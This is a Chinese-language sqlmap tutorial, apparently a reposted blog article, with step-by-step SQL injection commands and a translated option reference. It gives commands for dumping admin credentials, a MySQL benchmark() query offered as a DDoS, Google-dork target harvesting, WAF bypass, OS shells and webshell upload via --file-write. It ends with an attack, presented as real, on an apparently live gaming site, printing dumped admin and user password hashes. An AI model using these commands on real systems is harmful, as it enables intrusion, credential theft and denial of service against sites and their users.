11种常见sqlmap使用方法
sqlmap是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题。
一、SQLMAP用于Access数据库注入
(1) 猜解是否能注入
win: python
sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux
: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
(2) 猜解表
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns
-T admin
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns
-T admin
(4) 根据字段猜解内容(假如通过3得到字段为username和password)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump
-T admin -C "username,password"
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump
-T admin –C "username,[url=]B[/url]password"
二、SQLMAP用于Cookie注入
(1) cookie注入,猜解表
win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie
"id=31" --table --level 2
(2) 猜解字段,(通过1的表猜解字段,假如表为admin)
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie
"id=31" --columns –T admin --level 2
(3) 猜解内容
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie
"id=31" --dump –T admin -C "username,password" --level
2
三、SQLMAP用于mysql中DDOS攻击(1) 获取一个Shell
win:
python sqlmap.py -u
[url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
Linux:
sqlmap -u
[url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
(2) 输入执行语句完成DDOS攻击
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
四、SQLMAP用于mysql注入
(1) 查找数据库
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
(2) 通过第一步的数据库查找表(假如数据库名为dataname)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D
dataname --tables
(3) 通过2中的表得出列名(假如表为table_name)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D
dataname -T table_name --columns
(4) 获取字段的值(假如扫描出id,user,password字段)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D
dataname -T table_name –C "id,user,password" --dump
五、SQLMAP中post登陆框注入
(1) 其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件
我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt
然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2) 自动的搜索
sqlmap -u
[url]http://testasp.vulnweb.com/Login.asp[/url] –forms
(3) 指定参数搜索
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url]
--data "tfUName=321&tfUPass=321"
六、SQLMAP中Google搜索注入
inurl后面的语言是由自己定的
注入过程中如果选y是注入,如果不是选n
sqlmap -g inurl:php?id=
七、SQLMAP中的请求延迟
参数 --delay --safe-freq
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html"
--delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html"
--safe-freq 3参数
八、SQLMAP绕过WAF防火墙
注入点:http://192.168.159.1/news.php?id=1
sqlmap -u
[url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper
"space2morehash.py"
space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py
都是编码方式
space2hash.py base64encode.py charencode.py
九、SQLMAP查看权限
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges
十、SQLMAP伪静态注入
(1) 查找数据库
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" –dbs
(2) 通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D
dataname --tables
(3) 通过2中的数据表得到字段(假如得到的是tablename表)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D
dataname –T tablename –columns
(4) 通过3得到字段值(假如从3中得到字段id,password)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D
dataname –T tablename -C "password" –dump
十一、SQLMAP注入点执行命令与交互写shell
(1) 注入点:http://192.168.159.1/news.php?id=1
此处采用的是Linux系统
sqlmap -u
[url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
(2) 获取Shell
sqlmap -u
[url]http://192.168.159.1/news.php?id=1[/url] --os-shell
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
输入ipconfig/all
创建用户和删除用户
只要权限足够大,你可以输入使用任何命令。
其他命令参考下面:
从数据库中搜索字段
sqlmap
-r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
(物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
(mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap
-r “c:\request.txt” -p id –dbms mysql –file-dest
“e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms
mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap详细命令:
- · -is-dba 当前用户权限(是否为root权限)
- · -dbs 所有数据库
- · -current-db 网站当前数据库
- · -users 所有数据库用户
- · -current-user 当前数据库用户
- · -random-agent 构造随机user-agent
- · -passwords 数据库密码
- · -proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- · -time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
Options(选项):
- -version
显示程序的版本号并退出 - -h,
–help 显示此帮助消息并退出 - -v
VERBOSE 详细级别:0-6(默认为1)
Target(目标):以下至少需要设置其中一个选项,设置目标URL。
- -d
DIRECT 直接连接到数据库。 - -u
URL, –url=URL 目标URL。 - -l
LIST 从Burp或WebScarab代理的日志中解析目标。 - -r
REQUESTFILE 从一个文件中载入HTTP请求。 - -g
GOOGLEDORK 处理Google dork的结果作为目标URL。 - -c
CONFIGFILE 从INI配置文件中加载选项。
Request(请求):这些选项可以用来指定如何连接到目标URL。
- -data=DATA
通过POST发送的数据字符串 - -cookie=COOKIE
HTTP Cookie头 - -cookie-urlencode
URL 编码生成的cookie注入 - -drop-set-cookie
忽略响应的Set – Cookie头信息 - -user-agent=AGENT
指定 HTTP User – Agent头 - -random-agent
使用随机选定的HTTP User – Agent头 - -referer=REFERER
指定 HTTP Referer头 - -headers=HEADERS
换行分开,加入其他的HTTP头 - -auth-type=ATYPE
HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) - -auth-cred=ACRED
HTTP身份验证凭据(用户名:密码) - -auth-cert=ACERT
HTTP认证证书(key_file,cert_file) - -proxy=PROXY
使用HTTP代理连接到目标URL - -proxy-cred=PCRED
HTTP代理身份验证凭据(用户名:密码) - -ignore-proxy
忽略系统默认的HTTP代理 - -delay=DELAY
在每个HTTP请求之间的延迟时间,单位为秒 - -timeout=TIMEOUT
等待连接超时的时间(默认为30秒) - -retries=RETRIES
连接超时后重新连接的时间(默认3) - -scope=SCOPE
从所提供的代理日志中过滤器目标的正则表达式 - -safe-url=SAFURL
在测试过程中经常访问的url地址 - -safe-freq=SAFREQ
两次访问之间测试请求,给出安全的URL
Enumeration(枚举):这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。
- -b,
–banner 检索数据库管理系统的标识 - -current-user
检索数据库管理系统当前用户 - -current-db
检索数据库管理系统当前数据库 - -is-dba
检测DBMS当前用户是否DBA - -users
枚举数据库管理系统用户 - -passwords
枚举数据库管理系统用户密码哈希 - -privileges
枚举数据库管理系统用户的权限 - -roles
枚举数据库管理系统用户的角色 - -dbs
枚举数据库管理系统数据库 - -D
DBname 要进行枚举的指定数据库名 - -T
TBLname 要进行枚举的指定数据库表(如:-T
tablename –columns) - -tables
枚举的DBMS数据库中的表 - -columns
枚举DBMS数据库表列 - -dump
转储数据库管理系统的数据库中的表项 - -dump-all
转储所有的DBMS数据库表中的条目 - -search
搜索列(S),表(S)和/或数据库名称(S) - -C
COL 要进行枚举的数据库列 - -U
USER 用来进行枚举的数据库用户 - -exclude-sysdbs
枚举表时排除系统数据库 - -start=LIMITSTART
第一个查询输出进入检索 - -stop=LIMITSTOP
最后查询的输出进入检索 - -first=FIRSTCHAR
第一个查询输出字的字符检索 - -last=LASTCHAR
最后查询的输出字字符检索 - -sql-query=QUERY
要执行的SQL语句 - -sql-shell
提示交互式SQL的shell
Optimization(优化):这些选项可用于优化SqlMap的性能。
- -o 开启所有优化开关
- –predict-output
预测常见的查询输出 - –keep-alive
使用持久的HTTP(S)连接 - –null-connection
从没有实际的HTTP响应体中检索页面长度 - –threads=THREADS
最大的HTTP(S)请求并发量(默认为1)
Injection(注入):这些选项可以用来指定测试哪些参数,
提供自定义的注入payloads和可选篡改脚本。
- -p
TESTPARAMETER 可测试的参数(S) - –dbms=DBMS
强制后端的DBMS为此值 - –os=OS
强制后端的DBMS操作系统为这个值 - –prefix=PREFIX
注入payload字符串前缀 - –suffix=SUFFIX
注入payload字符串后缀 - –tamper=TAMPER
使用给定的脚本(S)篡改注入数据
Detection(检测):这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
- –level=LEVEL
执行测试的等级(1-5,默认为1) - –risk=RISK
执行测试的风险(0-3,默认为1) - –string=STRING
查询时有效时在页面匹配字符串 - –regexp=REGEXP
查询时有效时在页面匹配正则表达式 - –text-only
仅基于在文本内容比较网页
Techniques(技巧):这些选项可用于调整具体的SQL注入测试。
- –technique=TECH
SQL注入技术测试(默认BEUST) - –time-sec=TIMESEC
DBMS响应的延迟时间(默认为5秒) - –union-cols=UCOLS
定列范围用于测试UNION查询注入 - –union-char=UCHAR
用于暴力猜解列数的字符
Fingerprint(指纹):
- · -f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力):这些选项可以被用来运行蛮力检查。
- · –common-tables 检查存在共同表
- · –common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统):这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- –file-read=RFILE
从后端的数据库管理系统文件系统读取文件 - –file-write=WFILE
编辑后端的数据库管理系统文件系统上的本地文件 - –file-dest=DFILE
后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):这些选项可以用于访问后端数据库管理系统的底层操作系统。
- –os-cmd=OSCMD
执行操作系统命令 - –os-shell
交互式的操作系统的shell - –os-pwn
获取一个OOB shell,meterpreter或VNC - –os-smbrelay
一键获取一个OOB shell,meterpreter或VNC - –os-bof
存储过程缓冲区溢出利用 - –priv-esc
数据库进程用户权限提升 - –msf-path=MSFPATH
Metasploit Framework本地的安装路径 - –tmp-path=TMPPATH
远程临时文件目录的绝对路径
Windows注册表访问:这些选项可以被用来访问后端数据库管理系统Windows注册表。
- –reg-read
读一个Windows注册表项值 - –reg-add
写一个Windows注册表项值数据 - –reg-del
删除Windows注册表键值 - –reg-key=REGKEY
Windows注册表键 - –reg-value=REGVAL
Windows注册表项值 - –reg-data=REGDATA
Windows注册表键值数据 - –reg-type=REGTYPE
Windows注册表项值类型 - 这些选项可以用来设置一些一般的工作参数。
- -t
TRAFFICFILE 记录所有HTTP流量到一个文本文件中 - -s
SESSIONFILE 保存和恢复检索会话文件的所有数据 - –flush-session
刷新当前目标的会话文件 - –fresh-queries
忽略在会话文件中存储的查询结果 - –eta
显示每个输出的预计到达时间 - –update
更新SqlMap - –save
file保存选项到INI配置文件 - –batch
从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
- –beep
发现SQL注入时提醒 - –check-payload
IDS对注入payloads的检测测试 - –cleanup
SqlMap具体的UDF和表清理DBMS - –forms
对目标URL的解析和测试形式 - –gpage=GOOGLEPAGE
从指定的页码使用谷歌dork结果 - –page-rank
Google dork结果显示网页排名(PR) - –parse-errors
从响应页面解析数据库管理系统的错误消息 - –replicate
复制转储的数据到一个sqlite3数据库 - –tor
使用默认的Tor(Vidalia/
Privoxy/ Polipo)代理地址 - –wizard
给初级用户的简单向导界面
某网SQL注入漏洞实战
root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --dbs
available databases [8]:
[*] dntg
[*] dntg2
[*] dnweb
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] ultrax
root@kali:~#
sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --current-db
#当前数据库
current database: 'dnweb'
root@kali:~#
sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --current-user
#当前数据库用户
current user: 'root@localhost'
root@kali:~#
sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --table -D "dnweb"
#列数据库表名
Database:
dnweb
[25 tables]
+-----------------+
| account |
| admin_user |
| base |
| chajian |
| chongzhi |
| duihuan |
| libao_jilu |
| libao_list |
| meirilibao |
| meirilibao_jilu |
| mianfei |
| mianfei_list |
| money_name |
| role_dellist |
| roleid |
| server |
| shop_list |
| shop_list_copy |
| shop_tag |
| tuiguang |
| xiaofei |
| zhuce |
| zkfcn |
| zkfcq |
| zkfwp |
+-----------------+
root@kali:~#
sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --columns -T
"admin_user"
#列名
Database:
dnweb
Table: admin_user
[2 columns]
+------------+-------------+
| Column |
Type |
+------------+-------------+
| admin_name | varchar(20) |
| admin_pass | varchar(32) |
+------------+-------------+
root@kali:~#
sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --dump -C "admin_name,admin_pass " -T
"admin_user" -D "dnweb"
#列数据
Database:
dnweb
Table: admin_user
[1 entry]
+------------+----------------------------------+
| admin_name |
admin_pass
|
+------------+----------------------------------+
| lok** | a9ee8d24806ee22c2daad334****** |
+------------+----------------------------------+
Database:
dnweb
Table: account
[20 columns]
+------------+--------------+
| Column |
Type |
+------------+--------------+
| createtime | datetime |
| dlts |
int(11) |
| email | varchar(255) |
| gold |
int(10) |
| id |
int(10) |
| jifen | int(10) |
| lastip | varchar(16) |
| logintime | datetime |
| lxdl |
int(11) |
| money | int(10) |
| money2 | int(10) |
| name | varchar(32) |
| namemd5id | varchar(32) |
| password | varchar(32) |
| regip | varchar(16) |
| security | varchar(32) |
| tg |
int(10) |
| tg2 |
int(10) |
| tingyong | int(11) |
| vip |
int(255) |
+------------+--------------+
+-------+------------+-------------+----------------------------------+----------+
| id | email |
name | password
| security |
+-------+------------+-------------+----------------------------------+----------+
| 11827 | 13350* | a414409798 |
cee4fce6eaa87581421c296cbc0d3064 | NULL |
| 11828 | 000000 | lo*** |
670b14728ad9902aecba32e22fa4f6bd** | NULL |
| 11829 | 8888* | q139818572* |
4607e782c4d86fd5364d7e4508bb10d9 | NULL |
| 11830 | 123456 | 203412594* |
cfd40caa535bb51378ab60849bb54486 | NULL |
| 11831 | 123456789 | na101* | e10adc3949ba59abbe56e057f20f883e
| NULL |
| 11832 | NULL | hyt100* |
4c49c824492864666980b012bcf17d08 | NULL |
| 11833 | 32312* | hehe52121* |
0733f98f76375074a3424d5b6e8ffd68 | NULL |
| 11834 | 123456789* | fong201* | 2798ba5d7c1b4f6eec30c9a9cad51dca
| NULL |
| 11835 | 123456 | q50504* |
e10adc3949ba59abbe56e057f20f883e | NULL |
| 11836 | 1* | wf199*
| 96e79218965eb72c92a549dd5a330112 |
NULL |
+-------+------------+-------------+----------------------------------+----------+
11种常见sqlmap使用方法的更多相关文章
- SQLMAP注入教程-11种常见SQLMAP使用方法详解
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...
- [转]11种常见sqlmap使用方法详解
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...
- Android中ListView的几种常见的优化方法
Android中的ListView应该算是布局中几种最常用的组件之一了,使用也十分方便,下面将介绍ListView几种比较常见的优化方法: 首先我们给出一个没有任何优化的Listview的Adapte ...
- Java中8种常见的排序方法
排序方法的演示1)插入排序(直接插入排序.希尔排序)2)交换排序(冒泡排序.快速排序)3)选择排序(直接选择排序.堆排序)4)归并排序5)分配排序(基数排序)所需辅助空间最多:归并排序所需辅助空间最少 ...
- Java几种常见的排序方法
日常操作中常见的排序方法有:冒泡排序.快速排序.选择排序.插入排序.希尔排序,甚至还有基数排序.鸡尾酒排序.桶排序.鸽巢排序.归并排序等. 冒泡排序是一种简单的排序算法.它重复地走访过要排序的数列,一 ...
- 几种常见的排序方法总结(Python)
几种常见的排序算法总结(Python) 排序算法:是一种能将一串数据依照特定顺序进行排序的一种算法. 稳定性:稳定排序算法会让原本有相等键值的记录维持相对次序.也就是如果一个排序算法是稳定的,当有两个 ...
- Spring10种常见异常解决方法
在程序员生涯当中,提到最多的应该就是SSH三大框架了.作为第一大框架的Spring框架,我们经常使用. 然而在使用过程中,遇到过很多的常见异常,我在这里总结一下,大家共勉. 一.找不到配置文件的异常 ...
- 几种常见的排序方法(C语言实现)
#include <stdio.h> #include <stdlib.h> #include <Windows.h> //直接插入排序 void InsertSo ...
- javascript里的几种常见的数组方法
Array()的几种方法 1.splice(2,3,4)删除数组中任意项(三个参数). 2.splice(1,3)删除从第一项开始的往后三项(两个参数).(splice可以结合pop(),unshif ...
随机推荐
- MFCEditBox如何自动换行
设置该EditBox属性: 1.Auto HScroll False 2.OEM Convert False 3.Want Return ...
- Parker Gear Pump - Gear Pump Seal Is More O-Ring: Role
Parker Gear Pump introduction Gear pump lip seal is mainly used in reciprocating dynamic seals. C ...
- vue 画二维码
首先安装一下相关的插件 qrcode2 npm install --save qrcode2 然后在需要画二维码的页面引入一下 import QRCode from 'qrcode2' 最后在meth ...
- Python之协程函数
Python之协程函数 什么是协程函数:如果一个函数内部yield的使用方法是表达式形式的话,如x=yield,那么该函数成为协程函数. def eater(name): print('%s star ...
- python3爬虫-爬取58同城上所有城市的租房信息
from fake_useragent import UserAgent from lxml import etree import requests, os import time, re, dat ...
- noi.ac NOIP2018 全国热身赛 第二场 T1 ball
[题解] 可以发现每次推的操作就是把序列中每个数变为下一个数,再打一个减一标记:而每次加球的操作就是把球的位置加上标记,再插入到合适的位置. 用set维护即可. #include<cstdio& ...
- 怎样提高ES集群的稳定性?
别挂master节点. 稳定性:独立的master节点, 独立的协调节点 > master兼职协调节点 > master兼职数据节点 > master 兼职协调 + 数据节点. cl ...
- HDU 2475 Box
Box Time Limit: 5000ms Memory Limit: 32768KB This problem will be judged on HDU. Original ID: 247564 ...
- [HDU1576] A/B(扩展欧几里得)
传送门 n = A % 9973 -> n = A - A / 9973 * 9973 设 x = A / B(题目所述,B|A) -> A = B * x 所以 B * x - A / ...
- 莫比乌斯反演套路一--令t=pd--BZOJ2820: YY的GCD
t<=10000组询问:有多少x,y,满足$x\epsilon [1,n],y\epsilon [1,m],(x,y)为质数$.n,m<=1e7. 首先式子列出来,f(i)--1<= ...